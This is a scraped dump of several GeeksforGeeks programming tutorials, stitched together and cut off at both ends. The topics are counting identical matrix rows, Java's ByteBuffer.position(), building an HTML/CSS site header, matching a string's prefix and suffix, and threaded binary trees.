$first) { $allSame = false; break; } } // If all the elements of the // current row were same if ($allSame) $count++; } return $count;} // Driver code$mat = array(array(1, 1, 2), array(2, 2, 2), array(5, 5, 2)); echo(countIdenticalRows($mat)); // This code is contributed by Shivi_Aggarwal?>", "e": 37410, "s": 36465, "text": null }, { "code": "<script>// Javascript implementation of the approach // Function to return the count of all identical rowsfunction countIdenticalRows(mat){ let count = 0; for (let i = 0; i < mat.length; i++) { // First element of current row let first = mat[i][0]; let allSame = true; // Compare every element of the current row // with the first element of the row for (let j = 1; j < mat[i].length; j++) { // If any element is different if (mat[i][j] != first) { allSame = false; break; } } // If all the elements of the // current row were same if (allSame) count++; } return count;} // Driver codelet mat = [[ 1, 1, 2 ], [2, 2, 2 ], [5, 5, 2 ]]; document.write(countIdenticalRows(mat)); // This code is contributed by rag2127</script>", "e": 38414, "s": 37410, "text": null }, { "code": null, "e": 38416, "s": 38414, "text": "1" }, { "code": null, "e": 38426, "s": 38418, "text": "ankthon" }, { "code": null, "e": 38432, "s": 38426, "text": "ukasp" }, { "code": null, "e": 38447, "s": 38432, "text": "mohit kumar 29" }, { "code": null, "e": 38462, "s": 38447, "text": "Shivi_Aggarwal" }, { "code": null, "e": 38475, "s": 38462, "text": "aishwarya.27" }, { "code": null, "e": 38488, "s": 38475, "text": "rituraj_jain" }, { "code": null, "e": 38501, "s": 38488, "text": "princi singh" }, { "code": null, "e": 38522, "s": 38501, "text": "avanitrachhadiya2155" }, { "code": null, "e": 38530, "s": 38522, "text": "rag2127" }, { "code": null, "e": 38537, "s": 38530, "text": "Matrix" }, { "code": null, "e": 38556, "s": 38537, "text": "Technical Scripter" }, { "code": null, "e": 38563, "s": 38556, "text": "Matrix" }, { "code": null, "e": 38661, "s": 38563, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 38704, "s": 38661, "text": "Maximum size square sub-matrix with all 1s" }, { "code": null, "e": 38728, "s": 38704, "text": "Sudoku | Backtracking-7" }, { "code": null, "e": 38790, "s": 38728, "text": "Divide and Conquer | Set 5 (Strassen's Matrix Multiplication)" }, { "code": null, "e": 38861, "s": 38790, "text": "Count all possible paths from top left to bottom right of a mXn matrix" }, { "code": null, "e": 38914, "s": 38861, "text": "Maximum size rectangle binary sub-matrix with all 1s" }, { "code": null, "e": 38947, "s": 38914, "text": "Program to multiply two matrices" }, { "code": null, "e": 38998, "s": 38947, "text": "Inplace rotate square matrix by 90 degrees | Set 1" }, { "code": null, "e": 39019, "s": 38998, "text": "Min Cost Path | DP-6" }, { "code": null, "e": 39061, "s": 39019, "text": "Printing all solutions in N-Queen Problem" } ]
ByteBuffer position() methods in Java with Examples - GeeksforGeeks
27 Jun, 2019 The position(int newPosition) method of java.nio.ByteBuffer Class is used to Sets this buffer’s position. If the mark is defined and larger than the new position then it is discarded. Syntax: public ByteBuffer position(int newPosition) Parameters: This method takes the newPosition as parameter which is the new position value. It must be non-negative and no larger than the current limit. Return Value: This method returns this buffer. Below are the examples to illustrate the position() method: Examples 1: // Java program to demonstrate// position() method import java.nio.*;import java.util.*; public class GFG { public static void main(String[] args) { byte[] barr = { 10, 20, 30, 40 }; // creating object of ByteBuffer // and allocating size capacity ByteBuffer bb = ByteBuffer.wrap(barr); // try to set the position at index 2 // using position() method bb.position(2); // Set this buffer mark position bb.mark(); // try to set the position at index 4 // using position() method bb.position(4); // display position System.out.println("position before reset: " + bb.position()); // try to call reset() to restore // to the position we marked bb.reset(); // display position System.out.println("position after reset: " + bb.position()); }} position before reset: 4 position after reset: 2 Examples 2: // Java program to demonstrate// position() method import java.nio.*;import java.util.*; public class GFG { public static void main(String[] args) { // creating object of ByteBuffer // and allocating size capacity ByteBuffer bb = ByteBuffer.allocate(4); // try to set the position at index 1 // using position() method bb.position(1); // putting the value of ByteBuffer // using put() method bb.put((byte)10); // try to set the position at index 3 // using position() method bb.position(3); // putting the value of ByteBuffer // using put() method bb.put((byte)30); // display position System.out.println("ByteBuffer: " + Arrays.toString(bb.array())); }} ByteBuffer: [0, 10, 0, 30] Reference: https://docs.oracle.com/javase/9/docs/api/java/nio/ByteBuffer.html#position-int- Java-ByteBuffer Java-Functions Java-NIO package Java Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Object Oriented Programming (OOPs) Concept in Java HashMap in Java with Examples Stream In Java Interfaces in Java How to iterate any Map in Java ArrayList in Java Initialize an ArrayList in Java Stack Class in Java Multidimensional Arrays in Java Singleton Class in Java
[ { "code": null, "e": 25847, "s": 25819, "text": "\n27 Jun, 2019" }, { "code": null, "e": 26031, "s": 25847, "text": "The position(int newPosition) method of java.nio.ByteBuffer Class is used to Sets this buffer’s position. If the mark is defined and larger than the new position then it is discarded." }, { "code": null, "e": 26039, "s": 26031, "text": "Syntax:" }, { "code": null, "e": 26083, "s": 26039, "text": "public ByteBuffer position(int newPosition)" }, { "code": null, "e": 26237, "s": 26083, "text": "Parameters: This method takes the newPosition as parameter which is the new position value. It must be non-negative and no larger than the current limit." }, { "code": null, "e": 26284, "s": 26237, "text": "Return Value: This method returns this buffer." }, { "code": null, "e": 26344, "s": 26284, "text": "Below are the examples to illustrate the position() method:" }, { "code": null, "e": 26356, "s": 26344, "text": "Examples 1:" }, { "code": "// Java program to demonstrate// position() method import java.nio.*;import java.util.*; public class GFG { public static void main(String[] args) { byte[] barr = { 10, 20, 30, 40 }; // creating object of ByteBuffer // and allocating size capacity ByteBuffer bb = ByteBuffer.wrap(barr); // try to set the position at index 2 // using position() method bb.position(2); // Set this buffer mark position bb.mark(); // try to set the position at index 4 // using position() method bb.position(4); // display position System.out.println(\"position before reset: \" + bb.position()); // try to call reset() to restore // to the position we marked bb.reset(); // display position System.out.println(\"position after reset: \" + bb.position()); }}", "e": 27304, "s": 26356, "text": null }, { "code": null, "e": 27354, "s": 27304, "text": "position before reset: 4\nposition after reset: 2\n" }, { "code": null, "e": 27366, "s": 27354, "text": "Examples 2:" }, { "code": "// Java program to demonstrate// position() method import java.nio.*;import java.util.*; public class GFG { public static void main(String[] args) { // creating object of ByteBuffer // and allocating size capacity ByteBuffer bb = ByteBuffer.allocate(4); // try to set the position at index 1 // using position() method bb.position(1); // putting the value of ByteBuffer // using put() method bb.put((byte)10); // try to set the position at index 3 // using position() method bb.position(3); // putting the value of ByteBuffer // using put() method bb.put((byte)30); // display position System.out.println(\"ByteBuffer: \" + Arrays.toString(bb.array())); }}", "e": 28189, "s": 27366, "text": null }, { "code": null, "e": 28217, "s": 28189, "text": "ByteBuffer: [0, 10, 0, 30]\n" }, { "code": null, "e": 28309, "s": 28217, "text": "Reference: https://docs.oracle.com/javase/9/docs/api/java/nio/ByteBuffer.html#position-int-" }, { "code": null, "e": 28325, "s": 28309, "text": "Java-ByteBuffer" }, { "code": null, "e": 28340, "s": 28325, "text": "Java-Functions" }, { "code": null, "e": 28357, "s": 28340, "text": "Java-NIO package" }, { "code": null, "e": 28362, "s": 28357, "text": "Java" }, { "code": null, "e": 28367, "s": 28362, "text": "Java" }, { "code": null, "e": 28465, "s": 28367, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28516, "s": 28465, "text": "Object Oriented Programming (OOPs) Concept in Java" }, { "code": null, "e": 28546, "s": 28516, "text": "HashMap in Java with Examples" }, { "code": null, "e": 28561, "s": 28546, "text": "Stream In Java" }, { "code": null, "e": 28580, "s": 28561, "text": "Interfaces in Java" }, { "code": null, "e": 28611, "s": 28580, "text": "How to iterate any Map in Java" }, { "code": null, "e": 28629, "s": 28611, "text": "ArrayList in Java" }, { "code": null, "e": 28661, "s": 28629, "text": "Initialize an ArrayList in Java" }, { "code": null, "e": 28681, "s": 28661, "text": "Stack Class in Java" }, { "code": null, "e": 28713, "s": 28681, "text": "Multidimensional Arrays in Java" } ]
HTML Course | Building Header of the Website - GeeksforGeeks
10 Aug, 2021 Course Navigation So far, we have created the navigation bar for the header of our website. The next thing to complete the header is to include the image and text above the image as shown in below screenshot: Let’s again look at the part of the code for the header in our index.html file. The highlighted part of the code shows the image menu of the header: HTML <!-- Header Menu of the Page --><header> <!-- Top header menu containing logo and Navigation bar --> <div id="top-header"> <!-- Logo --> <div id="logo"> <img src="images/logo.png" /> </div> <!-- Navigation Menu --> <nav> <ul> <li class="active"><a href="#">Home</a></li> <li><a href="#">About Us</a></li> <li><a href="#">Our Products</a></li> <li><a href="#">Careers</a></li> <li><a href="#">Contact Us</a></li> </ul> </nav> </div> <!-- Image menu in Header to contain an Image and a sample text over that image --> <div id="header-image-menu"> </div></header> To complete the image menu, we first need to add the image and text inside the div tag with id “header-image-menu” as shown in the above code.Adding Image: Click Here to download the given image. Add it to the images folder of your project. Include it inside the div with id = “header-image-menu”. Adding Text: Add the text inside an <h2> tag and give the tag an id = “image-text” which will be used for adding styles.Below is the final HTML code for the header menu after adding the images and text: HTML <!-- Header Menu of the Page --><header> <!-- Top header menu containing logo and Navigation bar --> <div id="top-header"> <!-- Logo --> <div id="logo"> <img src="images/logo.png" /> </div> <!-- Navigation Menu --> <nav> <ul> <li class="active"><a href="#">Home</a></li> <li><a href="#">About Us</a></li> <li><a href="#">Our Products</a></li> <li><a href="#">Careers</a></li> <li><a href="#">Contact Us</a></li> </ul> </nav> </div> <!-- Image menu in Header to contain an Image and a sample text over that image --> <div id="header-image-menu"> <img src="images/slider.jpg"> <h2 id = "image-text"> A Basic Web Design course by GeeksforGeeks </h2> </div></header> Our webpage will now look like as in the below screenshot: Can you point out what is wrong with the above image? The answer is that the text is below the image and not at its correct position as shown in the template.We will have to use CSS to add styles to the text and image inorder to place the text over the image. Let’s begin with adding CSS. Styling the main image menu(#header-image-menu): Give the image menu parent a margin of top as 10px and set it position to relative. Add the below code to style.css: CSS #header-image-menu{ top: 10px; position: relative;} Styling the image inside the image menu: Set the width of the image to 100% of the parent and remove the margins and padding. Add the below code to style.css: CSS #header-image-menu img{ width: 100%; margin: none; padding: none;} Positioning the text(#image-text): Set the position of the text to absolute first and give appropriate margins from left and top. Set the color and translate the text by 30% using the translate() function.Add the below code to style.css: CSS #image-text{ position: absolute; top: 60%; left: 60%; font-family: 'Roboto'; color: #000; transform: translate(-30%, -30%); text-align: center;} The complete CSS code for the image menu will look something as below: CSS /*****************************//* Styling Header Image Menu *//*****************************/#header-image-menu{ top: 10px; position: relative;} #header-image-menu img{ width: 100%; margin: none; padding: none;} #image-text{ position: absolute; top: 60%; left: 60%; font-family: 'Roboto'; color: #000; transform: translate(-30%, -30%); text-align: center;} On opening the index.html in the browser now, you will see the exact same header as shown in the sample video at the start of the course. We have completed building the header of our website. Supported Browser: Google Chrome Microsoft Edge Firefox Opera Safari Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course. ghoshsuman0129 ysachin2314 HTML-Basics HTML-course-basic HTML5 CSS HTML Web Technologies HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to insert spaces/tabs in text using HTML/CSS? Top 10 Projects For Beginners To Practice HTML and CSS Skills How to update Node.js and NPM to next version ? How to create footer to stay at the bottom of a Web page? How to apply style to parent if it has child with CSS? How to insert spaces/tabs in text using HTML/CSS? Top 10 Projects For Beginners To Practice HTML and CSS Skills How to update Node.js and NPM to next version ? How to set the default value for an HTML <select> element ? Hide or show elements in HTML using display property
[ { "code": null, "e": 31625, "s": 31597, "text": "\n10 Aug, 2021" }, { "code": null, "e": 31645, "s": 31625, "text": "Course Navigation " }, { "code": null, "e": 31838, "s": 31645, "text": "So far, we have created the navigation bar for the header of our website. The next thing to complete the header is to include the image and text above the image as shown in below screenshot: " }, { "code": null, "e": 31989, "s": 31838, "text": "Let’s again look at the part of the code for the header in our index.html file. The highlighted part of the code shows the image menu of the header: " }, { "code": null, "e": 31994, "s": 31989, "text": "HTML" }, { "code": "<!-- Header Menu of the Page --><header> <!-- Top header menu containing logo and Navigation bar --> <div id=\"top-header\"> <!-- Logo --> <div id=\"logo\"> <img src=\"images/logo.png\" /> </div> <!-- Navigation Menu --> <nav> <ul> <li class=\"active\"><a href=\"#\">Home</a></li> <li><a href=\"#\">About Us</a></li> <li><a href=\"#\">Our Products</a></li> <li><a href=\"#\">Careers</a></li> <li><a href=\"#\">Contact Us</a></li> </ul> </nav> </div> <!-- Image menu in Header to contain an Image and a sample text over that image --> <div id=\"header-image-menu\"> </div></header>", "e": 32784, "s": 31994, "text": null }, { "code": null, "e": 32942, "s": 32784, "text": "To complete the image menu, we first need to add the image and text inside the div tag with id “header-image-menu” as shown in the above code.Adding Image: " }, { "code": null, "e": 32982, "s": 32942, "text": "Click Here to download the given image." }, { "code": null, "e": 33027, "s": 32982, "text": "Add it to the images folder of your project." }, { "code": null, "e": 33084, "s": 33027, "text": "Include it inside the div with id = “header-image-menu”." }, { "code": null, "e": 33288, "s": 33084, "text": "Adding Text: Add the text inside an <h2> tag and give the tag an id = “image-text” which will be used for adding styles.Below is the final HTML code for the header menu after adding the images and text: " }, { "code": null, "e": 33293, "s": 33288, "text": "HTML" }, { "code": "<!-- Header Menu of the Page --><header> <!-- Top header menu containing logo and Navigation bar --> <div id=\"top-header\"> <!-- Logo --> <div id=\"logo\"> <img src=\"images/logo.png\" /> </div> <!-- Navigation Menu --> <nav> <ul> <li class=\"active\"><a href=\"#\">Home</a></li> <li><a href=\"#\">About Us</a></li> <li><a href=\"#\">Our Products</a></li> <li><a href=\"#\">Careers</a></li> <li><a href=\"#\">Contact Us</a></li> </ul> </nav> </div> <!-- Image menu in Header to contain an Image and a sample text over that image --> <div id=\"header-image-menu\"> <img src=\"images/slider.jpg\"> <h2 id = \"image-text\"> A Basic Web Design course by GeeksforGeeks </h2> </div></header>", "e": 34222, "s": 33293, "text": null }, { "code": null, "e": 34283, "s": 34222, "text": "Our webpage will now look like as in the below screenshot: " }, { "code": null, "e": 34573, "s": 34283, "text": "Can you point out what is wrong with the above image? The answer is that the text is below the image and not at its correct position as shown in the template.We will have to use CSS to add styles to the text and image inorder to place the text over the image. Let’s begin with adding CSS. " }, { "code": null, "e": 34741, "s": 34573, "text": "Styling the main image menu(#header-image-menu): Give the image menu parent a margin of top as 10px and set it position to relative. Add the below code to style.css: " }, { "code": null, "e": 34745, "s": 34741, "text": "CSS" }, { "code": "#header-image-menu{ top: 10px; position: relative;}", "e": 34803, "s": 34745, "text": null }, { "code": null, "e": 34964, "s": 34803, "text": "Styling the image inside the image menu: Set the width of the image to 100% of the parent and remove the margins and padding. Add the below code to style.css: " }, { "code": null, "e": 34968, "s": 34964, "text": "CSS" }, { "code": "#header-image-menu img{ width: 100%; margin: none; padding: none;}", "e": 35044, "s": 34968, "text": null }, { "code": null, "e": 35286, "s": 35046, "text": "Positioning the text(#image-text): Set the position of the text to absolute first and give appropriate margins from left and top. Set the color and translate the text by 30% using the translate() function.Add the below code to style.css: " }, { "code": null, "e": 35290, "s": 35286, "text": "CSS" }, { "code": "#image-text{ position: absolute; top: 60%; left: 60%; font-family: 'Roboto'; color: #000; transform: translate(-30%, -30%); text-align: center;}", "e": 35456, "s": 35290, "text": null }, { "code": null, "e": 35529, "s": 35456, "text": "The complete CSS code for the image menu will look something as below: " }, { "code": null, "e": 35533, "s": 35529, "text": "CSS" }, { "code": "/*****************************//* Styling Header Image Menu *//*****************************/#header-image-menu{ top: 10px; position: relative;} #header-image-menu img{ width: 100%; margin: none; padding: none;} #image-text{ position: absolute; top: 60%; left: 60%; font-family: 'Roboto'; color: #000; transform: translate(-30%, -30%); text-align: center;}", "e": 35926, "s": 35533, "text": null }, { "code": null, "e": 36066, "s": 35926, "text": "On opening the index.html in the browser now, you will see the exact same header as shown in the sample video at the start of the course. " }, { "code": null, "e": 36122, "s": 36066, "text": "We have completed building the header of our website. " }, { "code": null, "e": 36141, "s": 36122, "text": "Supported Browser:" }, { "code": null, "e": 36155, "s": 36141, "text": "Google Chrome" }, { "code": null, "e": 36170, "s": 36155, "text": "Microsoft Edge" }, { "code": null, "e": 36178, "s": 36170, "text": "Firefox" }, { "code": null, "e": 36184, "s": 36178, "text": "Opera" }, { "code": null, "e": 36191, "s": 36184, "text": "Safari" }, { "code": null, "e": 36328, "s": 36191, "text": "Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course." }, { "code": null, "e": 36343, "s": 36328, "text": "ghoshsuman0129" }, { "code": null, "e": 36355, "s": 36343, "text": "ysachin2314" }, { "code": null, "e": 36367, "s": 36355, "text": "HTML-Basics" }, { "code": null, "e": 36385, "s": 36367, "text": "HTML-course-basic" }, { "code": null, "e": 36391, "s": 36385, "text": "HTML5" }, { "code": null, "e": 36395, "s": 36391, "text": "CSS" }, { "code": null, "e": 36400, "s": 36395, "text": "HTML" }, { "code": null, "e": 36417, "s": 36400, "text": "Web Technologies" }, { "code": null, "e": 36422, "s": 36417, "text": "HTML" }, { "code": null, "e": 36520, "s": 36422, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 36570, "s": 36520, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 36632, "s": 36570, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 36680, "s": 36632, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 36738, "s": 36680, "text": "How to create footer to stay at the bottom of a Web page?" }, { "code": null, "e": 36793, "s": 36738, "text": "How to apply style to parent if it has child with CSS?" }, { "code": null, "e": 36843, "s": 36793, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 36905, "s": 36843, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 36953, "s": 36905, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 37013, "s": 36953, "text": "How to set the default value for an HTML <select> element ?" } ]
Find if a string starts and ends with another given string - GeeksforGeeks
07 May, 2021 Given a string str and a corner string cs, we need to find out whether the string str starts and ends with the corner string cs or not.Examples: Input : str = "geeksmanishgeeks", cs = "geeks" Output : Yes Input : str = "shreya dhatwalia", cs = "abc" Output : No Algorithm Find length of given string str as well as corner string cs. Let this length be n and cl respectively. If cl>n, return false as cs can’t be greater than str. Otherwise, find the prefix and suffix of length cl from str. If both prefix and suffix match with corner string cs, return true otherwise return false. C++ Java Python3 C# PHP Javascript // CPP program to find if a given corner string// is present at corners.#include <bits/stdc++.h>using namespace std; bool isCornerPresent(string str, string corner){ int n = str.length(); int cl = corner.length(); // If length of corner string is more, it // cannot be present at corners. if (n < cl) return false; // Return true if corner string is present at // both corners of given string. return (str.substr(0, cl).compare(corner) == 0 && str.substr(n-cl, cl).compare(corner) == 0);} // Driver codeint main(){ string str = "geeksforgeeks"; string corner = "geeks"; if (isCornerPresent(str, corner)) cout << "Yes"; else cout << "No"; return 0;} // Java program to find if a given corner// string is present at corners.import java.io.*;class GFG { static boolean isCornerPresent(String str, String corner) { int n = str.length(); int cl = corner.length(); // If length of corner string // is more, it cannot be present // at corners. if (n < cl) return false; // Return true if corner string // is present at both corners // of given string. return (str.substring(0, cl).equals(corner) && str.substring(n - cl, n).equals(corner)); } // Driver Code public static void main (String[] args) { String str = "geeksforgeeks"; String corner = "geeks"; if (isCornerPresent(str, corner)) System.out.println("Yes"); else System.out.println("No"); }} // This code is contributed by Manish_100 # Python program to find# if a given corner string# is present at corners. def isCornerPresent(str, corner) : n = len(str) cl = len(corner) # If length of corner # string is more, it # cannot be present # at corners. if (n < cl) : return False # Return true if corner # string is present at # both corners of given # string. return ((str[: cl] == corner) and (str[n - cl :] == corner)) # Driver Codestr = "geeksforgeeks"corner = "geeks"if (isCornerPresent(str, corner)) : print ("Yes")else : print ("No") # This code is contributed by# Manish Shaw(manishshaw1) // C# program to find if a// given corner string is// present at corners.using System; class GFG{static bool isCornerPresent(string str, string corner){ int n = str.Length; int cl = corner.Length; // If length of corner // string is more, it // cannot be present // at corners. if (n < cl) return false; // Return true if corner // string is present at // both corners of given // string. return (str.Substring(0, cl).Equals(corner) && str.Substring(n - cl, cl).Equals(corner));} // Driver Codestatic void Main (){ string str = "geeksforgeeks"; string corner = "geeks"; if (isCornerPresent(str, corner)) Console.WriteLine("Yes"); else Console.WriteLine("No");}} // This code is contributed by// Manish Shaw(manishshaw1) <?php// PHP program to find if a// given corner string is// present at corners. function isCornerPresent($str, $corner){ $n = strlen($str); $cl = strlen($corner); // If length of corner // string is more, it // cannot be present // at corners. if ($n < $cl) return false; // Return true if corner // string is present at // both corners of given // string. return (!strcmp(substr($str, 0, $cl), $corner) && !strcmp(substr($str, $n - $cl, $cl), $corner));} // Driver Code$str = "geeksforgeeks";$corner = "geeks";if (isCornerPresent($str, $corner)) echo ("Yes");else echo ("No"); // This code is contributed by// Manish Shaw(manishshaw1)?> <script> // JavaScript program to find if a given corner string // is present at corners. function isCornerPresent(str, corner) { var n = str.length; var cl = corner.length; // If length of corner string is more, it // cannot be present at corners. if (n < cl) return false; // Return true if corner string is present at // both corners of given string. return ( str.substring(0, cl).localeCompare(corner) === 0 && str.substring(n - cl, n).localeCompare(corner) === 0 ); } // Driver code var str = "geeksforgeeks"; var corner = "geeks"; if (isCornerPresent(str, corner)) document.write("Yes"); else document.write("No"); </script> Output : Yes YouTubeGeeksforGeeks507K subscribersFind if a string starts and ends with another given string | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 2:41•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=C58uB_j9O0M" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div> Manish_100 manishshaw1 rdtank School Programming Strings Strings Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. C++ Classes and Objects Interfaces in Java Constructors in C++ Operator Overloading in C++ Copy Constructor in C++ Write a program to reverse an array or string Write a program to print all permutations of a given string C++ Data Types Longest Common Subsequence | DP-4 Check for Balanced Brackets in an expression (well-formedness) using Stack
[ { "code": null, "e": 26421, "s": 26393, "text": "\n07 May, 2021" }, { "code": null, "e": 26568, "s": 26421, "text": "Given a string str and a corner string cs, we need to find out whether the string str starts and ends with the corner string cs or not.Examples: " }, { "code": null, "e": 26686, "s": 26568, "text": "Input : str = \"geeksmanishgeeks\", cs = \"geeks\"\nOutput : Yes\n\nInput : str = \"shreya dhatwalia\", cs = \"abc\"\nOutput : No" }, { "code": null, "e": 26700, "s": 26688, "text": "Algorithm " }, { "code": null, "e": 26803, "s": 26700, "text": "Find length of given string str as well as corner string cs. Let this length be n and cl respectively." }, { "code": null, "e": 26858, "s": 26803, "text": "If cl>n, return false as cs can’t be greater than str." }, { "code": null, "e": 27010, "s": 26858, "text": "Otherwise, find the prefix and suffix of length cl from str. If both prefix and suffix match with corner string cs, return true otherwise return false." }, { "code": null, "e": 27016, "s": 27012, "text": "C++" }, { "code": null, "e": 27021, "s": 27016, "text": "Java" }, { "code": null, "e": 27029, "s": 27021, "text": "Python3" }, { "code": null, "e": 27032, "s": 27029, "text": "C#" }, { "code": null, "e": 27036, "s": 27032, "text": "PHP" }, { "code": null, "e": 27047, "s": 27036, "text": "Javascript" }, { "code": "// CPP program to find if a given corner string// is present at corners.#include <bits/stdc++.h>using namespace std; bool isCornerPresent(string str, string corner){ int n = str.length(); int cl = corner.length(); // If length of corner string is more, it // cannot be present at corners. if (n < cl) return false; // Return true if corner string is present at // both corners of given string. return (str.substr(0, cl).compare(corner) == 0 && str.substr(n-cl, cl).compare(corner) == 0);} // Driver codeint main(){ string str = \"geeksforgeeks\"; string corner = \"geeks\"; if (isCornerPresent(str, corner)) cout << \"Yes\"; else cout << \"No\"; return 0;}", "e": 27759, "s": 27047, "text": null }, { "code": "// Java program to find if a given corner// string is present at corners.import java.io.*;class GFG { static boolean isCornerPresent(String str, String corner) { int n = str.length(); int cl = corner.length(); // If length of corner string // is more, it cannot be present // at corners. if (n < cl) return false; // Return true if corner string // is present at both corners // of given string. return (str.substring(0, cl).equals(corner) && str.substring(n - cl, n).equals(corner)); } // Driver Code public static void main (String[] args) { String str = \"geeksforgeeks\"; String corner = \"geeks\"; if (isCornerPresent(str, corner)) System.out.println(\"Yes\"); else System.out.println(\"No\"); }} // This code is contributed by Manish_100", "e": 28704, "s": 27759, "text": null }, { "code": "# Python program to find# if a given corner string# is present at corners. def isCornerPresent(str, corner) : n = len(str) cl = len(corner) # If length of corner # string is more, it # cannot be present # at corners. if (n < cl) : return False # Return true if corner # string is present at # both corners of given # string. return ((str[: cl] == corner) and (str[n - cl :] == corner)) # Driver Codestr = \"geeksforgeeks\"corner = \"geeks\"if (isCornerPresent(str, corner)) : print (\"Yes\")else : print (\"No\") # This code is contributed by# Manish Shaw(manishshaw1)", "e": 29328, "s": 28704, "text": null }, { "code": "// C# program to find if a// given corner string is// present at corners.using System; class GFG{static bool isCornerPresent(string str, string corner){ int n = str.Length; int cl = corner.Length; // If length of corner // string is more, it // cannot be present // at corners. if (n < cl) return false; // Return true if corner // string is present at // both corners of given // string. return (str.Substring(0, cl).Equals(corner) && str.Substring(n - cl, cl).Equals(corner));} // Driver Codestatic void Main (){ string str = \"geeksforgeeks\"; string corner = \"geeks\"; if (isCornerPresent(str, corner)) Console.WriteLine(\"Yes\"); else Console.WriteLine(\"No\");}} // This code is contributed by// Manish Shaw(manishshaw1)", "e": 30179, "s": 29328, "text": null }, { "code": "<?php// PHP program to find if a// given corner string is// present at corners. function isCornerPresent($str, $corner){ $n = strlen($str); $cl = strlen($corner); // If length of corner // string is more, it // cannot be present // at corners. if ($n < $cl) return false; // Return true if corner // string is present at // both corners of given // string. return (!strcmp(substr($str, 0, $cl), $corner) && !strcmp(substr($str, $n - $cl, $cl), $corner));} // Driver Code$str = \"geeksforgeeks\";$corner = \"geeks\";if (isCornerPresent($str, $corner)) echo (\"Yes\");else echo (\"No\"); // This code is contributed by// Manish Shaw(manishshaw1)?>", "e": 30955, "s": 30179, "text": null }, { "code": "<script> // JavaScript program to find if a given corner string // is present at corners. function isCornerPresent(str, corner) { var n = str.length; var cl = corner.length; // If length of corner string is more, it // cannot be present at corners. if (n < cl) return false; // Return true if corner string is present at // both corners of given string. return ( str.substring(0, cl).localeCompare(corner) === 0 && str.substring(n - cl, n).localeCompare(corner) === 0 ); } // Driver code var str = \"geeksforgeeks\"; var corner = \"geeks\"; if (isCornerPresent(str, corner)) document.write(\"Yes\"); else document.write(\"No\"); </script>", "e": 31718, "s": 30955, "text": null }, { "code": null, "e": 31729, "s": 31718, "text": "Output : " }, { "code": null, "e": 31733, "s": 31729, "text": "Yes" }, { "code": null, "e": 32592, "s": 31735, "text": "YouTubeGeeksforGeeks507K subscribersFind if a string starts and ends with another given string | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 2:41•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=C58uB_j9O0M\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>" }, { "code": null, "e": 32605, "s": 32594, "text": "Manish_100" }, { "code": null, "e": 32617, "s": 32605, "text": "manishshaw1" }, { "code": null, "e": 32624, "s": 32617, "text": "rdtank" }, { "code": null, "e": 32643, "s": 32624, "text": "School Programming" }, { "code": null, "e": 32651, "s": 32643, "text": "Strings" }, { "code": null, "e": 32659, "s": 32651, "text": "Strings" }, { "code": null, "e": 32757, "s": 32659, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 32781, "s": 32757, "text": "C++ Classes and Objects" }, { "code": null, "e": 32800, "s": 32781, "text": "Interfaces in Java" }, { "code": null, "e": 32820, "s": 32800, "text": "Constructors in C++" }, { "code": null, "e": 32848, "s": 32820, "text": "Operator Overloading in C++" }, { "code": null, "e": 32872, "s": 32848, "text": "Copy Constructor in C++" }, { "code": null, "e": 32918, "s": 32872, "text": "Write a program to reverse an array or string" }, { "code": null, "e": 32978, "s": 32918, "text": "Write a program to print all permutations of a given string" }, { "code": null, "e": 32993, "s": 32978, "text": "C++ Data Types" }, { "code": null, "e": 33027, "s": 32993, "text": "Longest Common Subsequence | DP-4" } ]
Threaded Binary Tree - GeeksforGeeks
12 Apr, 2022 Inorder traversal of a Binary tree can either be done using recursion or with the use of a auxiliary stack. The idea of threaded binary trees is to make inorder traversal faster and do it without stack and without recursion. A binary tree is made threaded by making all right child pointers that would normally be NULL point to the inorder successor of the node (if it exists).There are two types of threaded binary trees. Single Threaded: Where a NULL right pointers is made to point to the inorder successor (if successor exists)Double Threaded: Where both left and right NULL pointers are made to point to inorder predecessor and inorder successor respectively. The predecessor threads are useful for reverse inorder traversal and postorder traversal.The threads are also useful for fast accessing ancestors of a node.Following diagram shows an example Single Threaded Binary Tree. The dotted lines represent threads. C representation of a Threaded Node Following is C representation of a single-threaded node. C struct Node{ int data; struct Node *left, *right; bool rightThread; } Java representation of a Threaded Node Following is Java representation of a single-threaded node. Java Python3 C# Javascript static class Node{ int data; Node left, right; boolean rightThread; } // This code contributed by aashish1995 class Node: 